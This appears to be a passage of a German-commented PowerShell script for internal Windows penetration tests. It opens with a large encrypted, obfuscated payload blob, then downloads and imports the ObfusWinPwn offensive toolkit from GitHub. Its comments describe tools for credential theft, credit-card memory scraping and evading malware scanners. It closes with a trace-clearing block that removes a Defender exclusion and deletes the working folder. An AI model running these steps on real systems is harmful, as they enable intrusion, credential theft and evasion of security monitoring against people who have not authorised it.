# ! 76492d1116743f0423413b16050a5345MgB8AGkAYQA5AGkASQA1AFIAMAAvADYAcwBJADkAbgB2AFIAUwBIAG4ALwBYAEEAPQA9AHwAZQA0ADgAYwBkADUANQA2ADYANAA1ADEAYwAzADMAOQAwAGIAMwA3AGIAZQA0AGMAMQAxADQAZAA3AGYAOABlADUANABlAGUAMwA3AGIAMQAwAGUAMwA1AGIANAA1ADAAOAAxAGUANgA3ADcAMwBkADEAYgA0ADYAZABkAGMAZAA1AGMANgBkAGYAMgAwAGIAYgA4ADYANwAyAGYAZQAwADYANQBmADcAMAA4ADAANQBlADIANQA3AGQAMQAxADMAYgA2AGUAZQBlAGQAZAAzADcAZQA0ADgAYwBkAGQAZQBkADIAZAA5ADMANgA0AGQAMgA1ADMAYgAyADEAYgA1ADMAYwBlADMAOAA3ADcANQA2AGYAZgA0AGEAZgBhAGQAYwA5ADcAZgBjADIAOQA1AGEAZQBhADMAMgA3ADEAMgAzADYAMwBmADcANABlAGQANwA1ADgAZAAzAGQAYgBhADYAYgA5ADIAYgAzADYAMgA1AGEANgAzADEAYwBkADgANABmADkAMwA4AGUAMQA0AGUANQAxADUANQBmADIAYQA5ADYAOAA2ADIANwA3ADAAMgA2ADAAMQBhADUAOQBhADQAZABjADkANwBhAGEAOQA2ADYAMQBkADMAYQA5ADkAYwBhADUAMgAwAGMAYQA3ADUANABhADkAOAAxADAANwBmADkAOABjADcAOQBjAGMAMwBhAGQANQBiADMANwA5ADkANAAxADAANQAxAGEAZQA0ADkANABiAGQAYgBlADcAMAA4ADQAMwA3ADUAYgAwAGEAMwA2ADgANwAyAGQAZQA0AGQANgA2ADAAOAAxADMAYwAzADAAZAAwADAAMwA3AGIANQA3AGEAMgBjADkAZQA2AGMAYwBhADcANABlAGYAZgAyADcAYwA3ADcAZgA0ADQAYwA1AGQAZgBmADAAZAA0AGIAOQBiAGIAOQBiADgANABjADMAZABiADkANgA5ADAANAAyAGUAOAAxADcAMwBiADcAMQA0ADAAMABhAGYANgBkAGIANAAzADQANwAxAGIANQBkADUAOABiADYAMAA5ADkAMgA5ADEAYgBhADAANAA5AGIAOQBmAGQAMQAxADUAMAA5ADQANABjADUAYwAxAGQAOQA1ADYANgA1ADkAMgAyAGQAMgBkADUAYgA2ADkAMwAwADMANQA3ADgAMQBhADcAMABmADcAMgAzADMAMgBlADIANwAzAGQAOQBjADIAMQA5AGQAMwBkADQANQA4ADAAOAA1AGYAYgAwADYAYgBkAGUAOAA3AGMAOABhADYAMAAyADkANwBlAGUANQA3ADMANwAwAGIAYwAyAGEAZQA3AGEAYgA2ADQAYwA5AGYAYwBiADYAYgBjADMANAAwADQAMwBiADUAMABmADgAYwA0ADAANAA1ADcANQBiAGIAOQBiADgAOAAzADIAYwA2AGIAZQBjAGYAMwBhAGYAZgA1ADQANQAyADIANABkADMAZAA5ADEANwA2AGYAOAA2ADYAMQBhAGUAMAAyAGUAOABkADQAZgBmADMAYwBmADQAMQBjAGQAOABjADYAMwBjADEANAAyAGUAZQBiADcAZgBlAGMAOAA3ADYANQBjADYANwAxADgAMQAwADEAZAAyAGUAZAA0ADMANQBlADkANAA5AGMAZgAzADcAMwA5ADQAZQA0AGEAZgA3ADYAOQA0AGEAMAAzAGUAZQAzADUANwAyADUAZAA2AGYAZAA3ADQAZgA1ADkAYgA5ADIANABmAGYAMAA0ADUANAA0ADgAZgAwADUAMwA4AGYAMwA4ADEAZQBiADcAMAA3ADYANQAyAGYAMQAxADMAMABhADcAZAA3AGQAZgBhAGEAOQAwADcAMAA3AGQAZQBiADYAZABlADUAZQAzAGMAOQBlAGMAYgA2ADkANQBkAGYANAAzAGIANgA3AGIAYgBkAGYAZgBjADIAMwA5AGUAOAA2ADMAMABjADkAMQA5AGYAYQAyADgANAA4ADAAMwBhAGQANgA2ADAAZAA4AGQAZQAxADYAOQA4ADgAYwA5ADIANwBjAGQAMgBmADQAYgA0ADUAMQA5AGUAYwBmADYAMgAxAGMAZAAyAGIAYwBhAGEANABkAGUANQA5ADUAMAAyAGYAMgA4ADgAZABkADcAYQBhADQAZAAxAGQAOAA1AGMAYwAwADAANQBmAGYANQBkADUAOABkADgANgA2AGUAYwA5ADEANwBhAGIAYgAyAGUAZgBjADcAZgBhADEAZABjADYAOABmADcAZQA2ADgANQBmAGUAMgA4ADMAMgBjADEAMABhADIANAAwADIAMQBkADEAMQAwADAANAAxAGYAOAA3ADcAOQA2AGIANABlAGUAYgBjAGYAOQBjADAAOQA3AGQAYQBiADEAYwBmAGUAZQAzAGEANgAwADgAZQAyADkANAA5ADEAZQAxADEAYgA3AGMAZQBjADkAYwAzAGMANQAyADAAMQBlADAAZQBkADAANgBiADIANQA3AGQAOQAxADQAZQAwADcAYwBmAGUAMABjAGIANwA0AGUAYgAyAGQAOAAyADEAMQBjAGYAZABiADcAMgBkADQAYwAzADcAMAAxADAAMAA3ADYAZgBkADUANQAyADUAMgAxAGMAZgBhADYANQA2AGYANgBhADcAYwA4ADUAMgA5ADgAOQBlAGIANQBlAGQAZgBmADkAMgA0ADEAYgA0ADAAMABhADYAMQA5ADkAMQBiAGEAZQAyAGEAOAA2AGQAMgA4AGUAOQBlAGUAYgBkADAANAA3ADgAYgA1ADcAMQA1ADQAYwA0AGEAMwAwAGYAMwA3AGQAZQBjADkAZgAxAGYANQAwAGYAMwA4ADYAYwA4ADAANQA3ADkAMABkAGEAOAAxAGMAMABhADcAZQA0AGYAMgA3ADgAZAA0AGYAMQBjADIANwBkADMAYwBlAGIAZgAxAGQAZgBjAGMAMABkAGUANABjAGEAZgA1ADgAMQBhAGEAZgA3ADkAMQBiADkAMABmADMAZgBiADAAYwA1AGEANgBiAGQAOQA5ADUAMQA3ADAAMQA3ADUAYwA5AGMAOAA0AGEAZQBkADgAMgBkAGQAZgBlAGIANwBlADcAZQAyAGYAZQBlADUAOQBkADYANwBhAGYAMQA4AGMAOQAwAGMANwAyAGYANQA0ADYAMQAxADAAOQAxADkAMQA4AGMAOAAyAGUAZQBkAGMAOQA5ADUAOAAzADcAMAAxAGQAZgAwADgAYgBlADMAOAAyADIANQA2ADkAMgA4AGIAYQA3ADIAYwBhADAAMAA4ADAAZQAyADEAMwAzADYANQAwAGIAZgBkAGEAMQBiAGIAOQBkADgANQBlADcAZAA2ADgAMwBiAGMAMwBmADgANgA1AGMANQBjADMANAA4ADMAYQBjADEAYwAzADYAMgBjADYAZQBhADcAZAA5ADcAZgAzADUANgA4ADMAYQBhAGMAMwBlAGUAZABkADIAOAAyADUAYQBiADQAYgBhADEAZQA2ADYAMgBhAGMAYQBlADEAMgBiADkANQAxAGUANQA2ADAAZgA0AGMAZQBhAGEAZAAwADkANwBiADgAOQA3AGMANgBiADMANwA1ADcAZgAxAGUAMABhADMAZQA3AGYANgAyAGMANgBmADIAYwA5AGMAYQAzAGYANQAwADIANwAxADcAOABlADQANwAxADIAMwAwADcAMABlAGIAMQBkAGIAMgA1AGUANABhADgAMwA5AGUAYgBkAGEAZAA5ADgAYQA3ADUAOQBlADkAYgBiADgAZQA5ADUAMAA3ADkAZgBjADkANwA1ADUAZQA2ADUAZQA4ADUAYwBiAGMAZAAyADkAYgA0ADkAMwBiADUAMwA0ADYANwBhADMAZQAxAGIAMAA4ADYAYQAzADYANwA0ADEAMwA1ADkAYwBhAGYAMgBmADkAMABkADkANQBhADQAYwA5ADIAYQBjADEAYQA2ADgAMgA3AGQAMQA1ADMANwA3ADQAMgBjADAAMQAwADkANgBlAGYANQBhAGUANABhAGIAOQAyADcAZgA2ADkAZgA3ADYANgA3ADMAMgBiAGYAMQA5AGMAYQAzADkANwAyADAANwAzADcAYQBlAGYANgBmADUAMABkADkAOAA0AGEANgA1ADgANAA0ADgAZgA1ADEAYwA3ADEANgBlADgAMwAxAGEANQBmADQAZgAzADcAOQBjAGUAYgBhADkAZgAyADAAYwA0ADQAYwA3ADYANQA5ADEAOABlAGYAOQA2AGQAMgA4ADUANQBkADMAMQBmAGYAZgBjADgAOQBmAGUAZAAwADQANgBlADAAYgAwADUAZAAxADQANQAzADIAMwBiADUAMwA4AGQANwAwADQAMwBhADcAOQA0ADMAOQA2ADEANgA0ADEAZgBjAGIANgBhAGUAYQA2AGUANwBhADQAMgBiADgAMwAxAGMAZAA3ADIAMwA5ADEAMwA5AGUAZgBhAGMAYgAxADIANABmAGQAYQAyADkAMQA2ADAAMwA4ADUANgAwADcAOABmADIAMABhADcAYgA3ADIAZAAwADcANAAxAGEAOQBjADAAMAAxAGQAOQA2AGYAMABjADcAZQAwADAANwBjADEAMwAwADMAZQBkAGEANwAzADEAZQBjADUANgBmAGMAZQBmADYAMQA4AGQAOABhADcAYwBiADIAYwAzADYAMgAyADEANQA1AGEAYQA0ADcAZQBiADIAOAAzADIAYgA5ADgAYgAyAGUAMAAzADkANQBlAGYAOABlAGYAMgA5AGEAZgA1AGUANQA0AGMAOQA4ADQAMQA4ADgANABhADcAOAA2AGMANgA1ADIANwBkADQANgAwAGUAMAA4ADgANwBiAGYAMQBlAGYAOAAyAGEAOAAzAGMANwA5ADkAMgA4ADMAOQA1ADAAZQA3AGMANABmADgAOQAwADQANAAxAGEAMQAyADEAMgA1ADcAZAAwADkAMABhAGMANgAyADQAMwAyAGMAZABiAGYANQA2AGQANAA2ADAAYwBhADAAMwAxADkANgA0AGQAYwA1ADYAMQBhADcAOABiAGUAOABmAGMAYwBjAGIAZABkAGQANwA5AGYAMQAxADQANwAwADgAMAA1AGQAYwBhAGUAZQAxADYAOQAwADcAZAA2ADYAZgA1ADAANQAwADEAYQA2AGUAYwBhADkAZQA3ADYAZQBmAGUANQA1ADkAOABiADIAOABjADUAMAA5AGMAOAA1ADUAZQBlAGYAZgBmADIAZABlADMAYQA2ADEANQA0AGEAZABlAGIAMwAzADEAZAAwAGQAZQAxADAAOQAxADMANQAzADgAYgA4ADYAMwA2AGEAOQAxADAAOAAyAGEAYQA5ADUAZgA3ADgAZgAxADEAYwA3ADIANABiADIAMwA4AGEAZQBiADUANgBjAGIAOAA3AGQAZgAzAGIAYQA3ADEAZgA1ADkAYgBkAGIAZAA2ADAAYwBmADQAOQBiAGYAOABhAGUANABkADQANAAyADAAMQA5ADYANQA4ADMANQBkADgANQBmADgAOQA4ADAANwAxADYAYQBiADgAOAAyAGEANQAwAGQAYwAxADEAMABhADAAMgAzADQAYwA1AGUANwAwAGIAMAAyADAAMQA2AGMAYQBlADEANgA3ADMAMAAzADAAMQAwADMAZQBjADUAYQA2ADAAMAA4AGIAMgA3AGIANQBkADUANwA4AGQANgBjAGQAYQBjAGMANgA1AGIAYQBmAGEAYgA1ADMAZgBhAGQAYQAzADMAOQBmADUAMwBkADMAZgBmADMAOQA1AGMANAA0ADIAMgA0ADIAZQBjAGQAZgA2ADYAMgAwAGIANQA5AGIANAA1ADIAOQAzAGUAYwA2ADIAYQA3AGMAMwBkADMAYgBlADkAYQBmAGYAMgA4ADQAMQAwADEAYwA1ADUAOQA3ADgAYwAzADUAOAA0ADQAMgBkADEAMQBlAGEAYQA4ADMANgBlAGYAMgA4AGIAMQA5ADgANQAyADUANgA0AGIAZAA4ADIANwBhADUAMwA2AGYAZgA5ADMAZgA5ADQAMwA4ADgAZAA4ADkANABjAGYAZQBjADUAMgAxADgAZQA4ADQAZgA5ADIAZAAyAGMAZgBjADcAOAA2AGUANQA1ADkAOAA1ADMAMgA1ADcAZAA2ADUAMgA0AGUAYwAwADAAOQBiADMANAA3ADcANwA5ADYAYQA1ADMAMgA0AGQAZQBmADYANgA2ADMAYwBhADUAZQAzAGUANgBjADAAZgBkAGUAZABmADIAOQAwADUAOAA4ADQAZAA5ADcANwAwAGYANQAxADEANQAwAGMANQBlAGUAYQAxADAAMQBkAGMANQBlADMANgBkADkAYQA2ADgANABlAGMAMwA0ADIAYwBkADgAMABkAGEAOQBjAGIAYgAzADUANQBlAGQAYQA0ADIANgA1ADcAOAA2ADAANAA0ADgAYwBhADQAZAAwADgAMgAzAGUANwBjADEAMgA4ADMAMAA0ADkAZgBiAGQAOABmADYANwAwADUAMgA3ADgANQAyADMAZgA2ADMAMQAzADQAMwA4AGYAZAA3AGIAYQA4AGUANwBkADMANwBmADYAYQBiADMANAAyAGUAMAA5ADYAYgBkADIAMQA0ADEANgA3ADAAMABkADUAMgA1ADkANQAzADUANgBhADgAOAAzADMAOQA0ADYAYQAyADAAYwAzADcAMQBmADMANwBiADMANwBjAGEAMABmAGMANwAyADkAMQAyADYANwBiAGQANgBmAGUAYQBjADAAYQA0ADUANwA5ADEANwA1ADAANwAxAGMAOQA5AGYAMAAxADAAOQA3AGQANQAxAGYAMwAzADcAMwA5ADAANgA2ADYAZgA5ADUAMgAyADAAZAA2AGUAZgBkADEAOQBmAGIAZgA5AGMANQBjADgAYgAwADIAZQBiAGQAZABlAGEAYQBjADcAOAAwADAANgBmADAANAAxAGMAZQBjADEANgAwAGMAYwAzADEAZQA4AGYANwAxAGIAMwA3AGIAYQA0ADgANwA3ADAAMAA4AGQANwA2AGUANABlADQAYgAwADUAZAA5ADMAOQBjADkAYQBiAGIANAAyADgAZQBiAGUANgAzADIAYQBlADIAOABhADgAMABjAGQANgA0ADYANwBhADMAOQBjAGIANgA5ADYAMABhAGMAZQBmADgAMgA5ADYANgBkAGEANgAzAGMAMABjAGYANwBlAGEAZgAwADkAZABiADIANgBhAGIAZAA3ADgAYwBmADUAMABlAGUANAAyADQANgA2ADIAZQBkAGQANABjADMAOAA3AGYAZgAyADkAOABjAGYAMQAzADcAMgBhAGMANgAyAGIAOQBhADIANwBjADQAMQBkAGMAZgBmAGEAZQAxADYAOAAyADYAYwBjAGYAZAA1AGMANwA2ADAANgBjAGIAYgA1AGQAOQA5ADcAYwA3AGYAMABkADEAZQA0AGIANAAxAGYAYwBkADYAYQA4ADkANgBhADYAMQBkAGIAZAA1ADYANwBhADQANQBiAGEAMwAwADgAMAA1ADEAZQBmADkAYwBlADgAYgA0ADkANwBiAGQANgA4ADcAZABmADgAMAA1AGQANgAzAGIAZAAwADUANgAyAGEAYwBkADgAOQBlAGUAMABiADkAZAAxADUANAAxADYAOQAwAGYANAA5ADQAZQBjAGQAOQA5ADQAMABkADcAMwA5AGYAYgA5ADkANQA3ADQAMgA3ADgAMQAwAGIAYQA0ADMANgA0AGYAOAA5AGEANAA2AGMAOAA0AGIAMAA2ADYAYwBlAGYAMAA4AGYAZgA1AGMAOAA3ADEAMgA1AGYAMgAxADAAMAAzAGMAMAA3AGMAMwA1ADAAZQBmADAANAAwADMAZABlADUAZAA5AGMANgBkADIAMQA4AGYAZQBkADUAZgBmAGEAOABiAGIAZgBkADYANQBiAGUAMQA1ADUANABmAGYAMgA5ADAAYgA1ADYANAA2ADcAYgAxADIANABmAGQANQAzADIANQBlADAAMwBkADMANwAyADAAZgAwADUAZAA1AGIAOAAxAGEAYgA0AGMAYgAxADkAMQA2AGMANQAyADQAZAAyAGUAOAA2AGYAOQA2ADYAMwA0AGYAOQA5ADkAYwBjAGEAMwBhADMANQAyADgAYQBkADQANwAzADYAMABiAGUAMABlAGMAMgAyAGEAMQA3AGEAZQAyAGMAMgAzAGEAZABmADYANgA1AGEAZQA0ADYAMgBjADEAYgBhADkAZgAyADUAZAAyADQAYQBhAGIAYQAwADAAYgAxADYAZgBhAGYANQA1AGYAZAA5ADUANwBiADYAYwBhADEAMQBhADkAZgBmADgANwA2AGYAOAA4AGQAMgBjADIAMABiADAAOQBmAGYAYwA1ADgAZAAyAGEANAA2AGQAOAA1ADkANgA2AGMAMQA4ADkAYgBiADIAYQAzADEAYwA0ADUAOAA2ADUAOQAyAGUAYQA4AGUAOQBkADEAOQBhADYAZAA5ADYANAAzADIANQBjAGIAYwAzADMAMwA5AGUANgAzAGQAOAA4ADgAMwAwADkAMAA2ADgAMAAyADYAZgAxADEANwBhAGMAYgAwADgAOQAzAGUAZQBmAGUAOABiADgANgBjADgAMAAyAGIAOQBkADUAYQBkAGMAOQAwAGIAMwA4ADQANQA1AGUANAA1ADMAZABhADcAMgA1ADkAZAAzADMANAA3AGMANQBjAGUANABmAGIAYgBmADMAYwAyADcAZQBhADgAOQBlADMAOQA1ADgAMgAxADUAMAA2AGIANAAyAGMAZQAyADMAMABmADkAOAAxAGMAZgAzAGEAMgBhAGEAMwBiADMAYgBhAGIANgA3AGEAYwBlADkANwBmADIAZAAzAGQAZQAyADUANgBlAGIAOAAzAGUAYwAyAGMANwBmAGUAOAAzADgAOABjAGMANwBhAGIAMwBmADgANQA4ADAAOQA3ADIAOQBkADMAMABkAGQAYQAzAGYAYgAxADUAZQA3ADEAOQAyADMANABjADgANAA3AGIANQA0ADUANQBkAGMANABhAGIANAA3ADYAOQA1ADEAMAA0ADkAOQA2AGMANAA1ADcANgBlADgANgA4AGMAYwBjAGQAZgAwADIAMQA2ADcAMwBjADEAOQA2AGYANgBmADUAOABiAGYAMQBiAGUAZAAwADUAMABkADgAZQA4ADkAOAAyADgAOQA1ADAAOQAyAGQAOQAzADAAZAAyADIAZgBlADAAMAAwAGMAZgA2ADkANABmAGQAYQBmADgAMQAyADcAMgAyADQANQBlADkAZAAxAGQANgBlADgAMAAyAGMAZgA4ADIAYgBmAGYANAA3AGQANwBiAGYAMQAyAGQAOAAxAGUAZgBmADUANABlADkAMABhADYAYgBjADEAMQBmAGQAMgA5ADYAMwBhADQAMwBhAGQAZQAxADAAYgA3AGYAZQA2AGEAOQBlADkAYQAwADUAYQBlADAAOQA5ADgAZgBmADAAZQBjAGQANQAxADQAYgA5AGIANgA3ADUAMgA5AGMANwAzADMAOAAwAGUANQA1AGUAZgBhADgAMgBiAGYANwBjADIAZAAxAGQANgA1ADAANAA2ADcAMwA5ADcAZABlADUAMAAxADQANQA5ADQAMgBjADIAYQBmADkANwAxAGQANABhAGUAOQBhADIAMABlAGMANwBiADIAMQBlAGYANQBjADkAMAA1ADcANQA4ADEAMQBhAGMANgBiADQAZABlADUAZQBiADEAZgA1ADIAYwBjADUAYgBkAGIAMwAzAGUAOQBmADIAOQA2ADUAOAAyAGEAMQA4AGQAOQA3ADAAZAA3ADIANgAxADkAZgA4ADQANQAzAGEAOAA1ADcAYQAyADQANQBhADYANQBmADAAMwAyADEAZABiAGUAMwBlADgAZAAzADkANABiADYANABiAGYAOAAxADQANAA5ADIAMgA3AGIANAAwAGEAMQBhAGMAZgBiADMANgAzADQAOQA1AGQAOABiADYAYwA2AGQAOABjADQAOQBmADcANQAxAGIANgBkADUAZgAyADUAYQBhAGQAYwAxAGQAMABkADMAMwBmADcANABjADQAMwAwAGYAZAA0AGMAYQBlADQANgA4ADEAMwBiAGMAMgA1ADkANgAyAGIAZAA5ADkAMwBkADEAYgA1AGMAZQA3ADQAYwA1ADQAMAA4ADUAYgBlADYAMgBjAGYANQBiADQANgA4ADcAOAA1AGQAMwBjADcAYgBjADAAMwAzADUANQA1ADQAZQBmADUANABiADYAZQAzADIAMgA4AGIAYwA1AGIAOAA3ADgAYgA5ADEAZQAyADEAZAAyADAAYQAxAGQAYwAyADEAMgBhADgAYgBjADIAMQAyADEAZAAzADIAMgBlADYAZAA5ADAAMgAxADAAMwAzADMAZQAwADMAOAA3ADEAOAA5ADAANgBlADYAMQA2AGIAZAAzADkAMAA3ADkANwA1ADAANgAxADgANQAzADIANgBkAGIANQA5ADEAMwBjADEAMgA3AGQAYgBlADAAZgBlADQAOQA0ADAANgBmAGYAOQA4ADgAMwBkADEANgBlADgAMwA2ADUAMQA5ADAAZgAzADIAZgA4ADkAMQBmADAAMQAyAGEAOAAzADcAYgA3ADkAYgBjADQAOAAzADMAMgA0AGMAZAAwADAANQA2AGYAOQA5AGEANwA4AGMAMQAxAGYAZAAzADYANwA1ADEAZAA4AGIANQA3AGYAYwBkADQAMgAxAGUANwBlADAANgAzADIAOQA4ADYAMAAwADAAYQAxADIAOAA1ADAAYgBhADUAMwBhAGMAMAAzAGEAMAAzAGMAMgA1ADcAMwBhADMANABlAGMANQA0ADQAOABjADIAYgA3ADEAMQAyADcAYQA1AGUAYgAzADIAZgA2ADcAYwBmADEAYgAzAGYANQBhADEAYgA1ADEAOAA1ADcANwAwAGYAYgA2AGEAYgA4AGYANQA5ADIAMABmADAAMQBjADgAYQBkADMAZAAzADcAYwBlAGMAYQBkADAANQBiADYAOQBhAGEAZAAyADYAZQBjADkAYgA1ADUANQA4AGYANwBkADIANQBlADMAZAAyAGYAZgAwADMANwA3AGUANAAyADkAYQBhADYANQBkADgAZgBhADkAZABjADQAZgA4ADMAMQA1AGQAYwA2ADcAOAAzADkAMwBmAGIAMwA4ADAAOAA4ADYANgA2ADUAMgA3ADUAYgA5ADMAOABmAGYAMQBhADcAMAA3ADUAZQAxADYAMgBjAGEAYwAzADkAOAAwADYAMwBjAGEAOAAyAGQAMAA2ADkAZgBmAGMANQA2ADcAOQBjAGUAYwA2ADQAMQA1ADkANABkADYAZQBlADcANwA4AGIAZQBkADIAOABmAGIAZgA2ADYAYQAzAGYAOAA2AGMANwA2ADUAYgA1AGEAYgA5ADMAMwA5AGUANgA1ADUANwBiADQANAA2ADQAOAAyAGQAYQBhADAAMQAxAGEAZAA4ADUAYQA0AGIAYwAzADkAYQA1ADgAYQBjADIANgA5AGQAZQA0AGIAOQBiADIANwBhADEAOQA3AGMAMgAxAGEAYgA0ADkANABjADUANQBiADUAYwBjADgAZAA0AGMANQA5AGEAMwBjAGQAOQA1ADMAZQBiADMAOQBiADcAYQAxADMAYQAzADcAMQBhADkAZgBiADkAMQAwADEANgA3AA==

#endregion

#region # ? WinPwn

# * Automation For Internal Windows Penetrationtest / AD-Security

# * Letztes Update: 2020
# * Quelle: https://github.com/S3cur3Th1sSh1t/WinPwn

# * Beschreibung
<# Der Autor schreibt über sein Penetrationstests:
    "In vielen früheren internen Penetrationstests hatte ich häufig Probleme mit den vorhandenen Powershell Recon / Exploitation-Skripten,
    da die Proxy-Unterstützung fehlte. Ich habe oft die gleichen Skripte nacheinander ausgeführt, um Informationen über das aktuelle System
    und / oder die Domäne zu erhalten. Um möglichst viele interne Penetrationstest-Prozesse (Aufklärung sowie Ausnutzung) und aus
    Proxy-Gründen zu automatisieren, habe ich ein eigenes Skript mit automatischer Proxy-Erkennung und -Integration geschrieben.
    Das Skript basiert hauptsächlich auf bekannten großen anderen anstößigen Security-Powershell-Projekten. Sie werden über
    IEX Downloadstring in den RAM geladen."
#>


Invoke-WebRequest -Uri ("https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/ObfusWinPwn.ps1") -OutFile ("ObfusWinPwn.ps1")
Import-Module -Name ".\ObfusWinPwn.ps1" -Force -Verbose

#endregion

<#
Powercat
https://github.com/besimorhino/powercat
Powercat wurde im September 2014 auf der Konferenz DerbyCon von Mick Douglas vorgestellt [7]. Es implementiert die Funktionen von Netcat in reinem PowerShell, ohne dass besondere Systemvoraussetzungen bestehen – außer dem Vorhandensein von PowerShell in mindestens Version 2.0. Netcat ist ein einfaches, bei Administratoren und Angreifern gleichermaßen beliebtes Dienstprogramm, das Daten von der Standardeingabe und Standardausgabe über Netzwerkverbindungen überträgt. Der Funktionsumfang neuerer Versionen von Powercat übersteigt inzwischen den von Netcat [8, S. 2].
Die reine Implementierung in PowerShell verhindert die Erkennung durch Malwarescanner und Host-basierte Einbruchserkennungssysteme, die Netcat-Varianten in Binärform in der Regel zuverlässig aufspüren. Die dadurch mögliche Netcat-Funktionalität – gleichermaßen als Server wie als Client unterschiedliche Systeme miteinander zu verbinden – hilft echten Angreifern und Pentestern im Zielnetzwerk beim Überwinden einer weiteren technischen Sicherheitsmaßnahme, der Segmentierung eines Unternehmensnetzwerks in stärker und schwächer geschützte Bereiche.
 
PowerMemory
https://github.com/giMini/PowerMemory
PowerMemory wurde im Juli 2015 von Pierre-Alexandre Braeken veröffentlicht und ermöglicht den Diebstahl von Zugangsdaten aus dem Arbeitsspeicher. Dazu muss es im Gegensatz zu ähnlichen Ansätzen keinen bösartigen Code in andere Prozesse injizieren, in denen diese Zugangsdaten verwaltet werden. Stattdessen erstellt es ein Abbild des kompletten Arbeitsspeichers, sucht Speicherbereiche mit den verschlüsselten Zugangsdaten, entschlüsselt sie und übertragt die gefundenen Passwörter und Hashes an den Angreifer [10].
Abbildung 5: Protokoll von PowerMemory mit ausgelesenen Zugangsdaten (Quelle: https://securityaffairs.co/wordpress/39721/hacking/powermemory-extract-credentials.html)
PowerMemory zeichnet sich dadurch aus, dass es zwar auf Binärdateien zurückgreift, jedoch nur von Microsoft selbst erstellte und digital signierte Programme startet. Dadurch bleibt es von Malwarescannern und ähnlichen Sicherheitslösungen unentdeckt [11, S. 14].
 
PowerShell Memory Scraping for Credit Cards
https://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper
Beachtenswert für echte Angreifer wie für Pentester, die die Ziele eines profitorientierten Angreifers möglichst realitätsnah simulieren wollen, ist das PowerShell-Skript Memory Scraping von Casey Cammilleri aus dem September 2015.
Das Skript sucht im Arbeitsspeicher eines angegebenen Prozesses nach Kreditkartennummern und kann diese etwa auslesen, wenn in einem Browser ein Bestellformular mit Zahlungsdaten ausgefüllt wurde. Anschließend übertragt es die gefundenen Kreditkartendaten an einen Webserver, der vom Angreifer kontrolliert wird [12]. Das kompakte Skript übernimmt Codeteile von PowerSploit.
Abbildung 6: Auslesen von Kreditkartendaten mit PowerShell Memory Scraper (Quelle: https://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper)
Das Metasploit-Framework des amerikanischen Herstellers Rapid7 ist das Standard-Test- und Angriffswerkzeug von professionellen Penetrationstestern. Von Pentestern oder Administratoren im eigenen Netzwerk eingesetzt, kann Metasploit Schwachstellen finden und insbesondere ausnutzen [13, S. 60]. Auch echte, böswillige Angreifer setzen es für ihre Zwecke ein [14].
Module sind wichtige Bestandteile des Metasploit-Frameworks, dessen Architektur in Abbildung 3 gezeigt wird. Exploits ist das bekannteste Modul; es enthält eine Vielzahl an hochwertigen und übersichtlichen kategorisierten Schadprogrammen, die konkrete Schwachstellen in Betriebssystemen und Anwendungen ausnutzen.
Schließlich kann sich ein Angreifer zwischen zahlreichen Payloads – also der Nutzlast – seiner Schadsoftware entscheiden; darunter der Standard-Payload Meterpreter. Meterpreter kann einen angegriffenen Rechner umfangreich überwachen und steuern, etwa Screenshots anfertigen, eine eingebaute Webcam aktivieren oder Dateien vom Rechner des Opfers zum Angreifer übertragen.
Abbildung 7: Architektur des Metasploit-Frameworks
Noch bis Ende 2015 konnte PowerShell innerhalb des Metasploit-Frameworks, beispielsweise in einer Meterpreter-Sitzung auf einem erfolgreich übernommenen Rechner, nur eingeschränkt genutzt werden. Zwar waren auf der Kommandozeile Eingaben möglich, die Antworten wurden jedoch nicht angezeigt – interaktive Sitzungen waren so nicht möglich [15, S. 12].
Die Sicherheitsforscher Ben Turner und Dave Hardy haben Ende 2015 mehrere Module, Payloads sowie weitere Komponenten für das Metasploit-Framework entwickelt und veröffentlicht. Dadurch kann auf einem bereits mit Metasploit und dem Meterpreter-Payload gesteuerten Rechner eine interaktive PowerShell-Sitzung so gestartet werden, als säße der Angreifer vor dem Rechner und der PowerShell-Eingabeaufforderung.
Auch in dieser Implementierung haben die Autoren darauf geachtet, keine Binärdateien auf Festplatte abzulegen, alle Skripte nur im Arbeitsspeicher auszuführen und damit ein Erkennen oder Blockieren durch Malwarescanner zu vermeiden.
#>


#region # ! Arbeitsnachbereitung: Aufräumen und alle Spuren beseitigen:

Remove-Module -Name "*" -Force -Verbose
Remove-MpPreference -ExclusionPath "C:\Temp" -Force
$WorkDirectoryBackup | Set-Location
Remove-Item -Path "C:\Temp" -Recurse -Force
Remove-Variable -Name WorkDirectoryBackup, LoadLibrary, Address, p -Force

#endregion

#endregion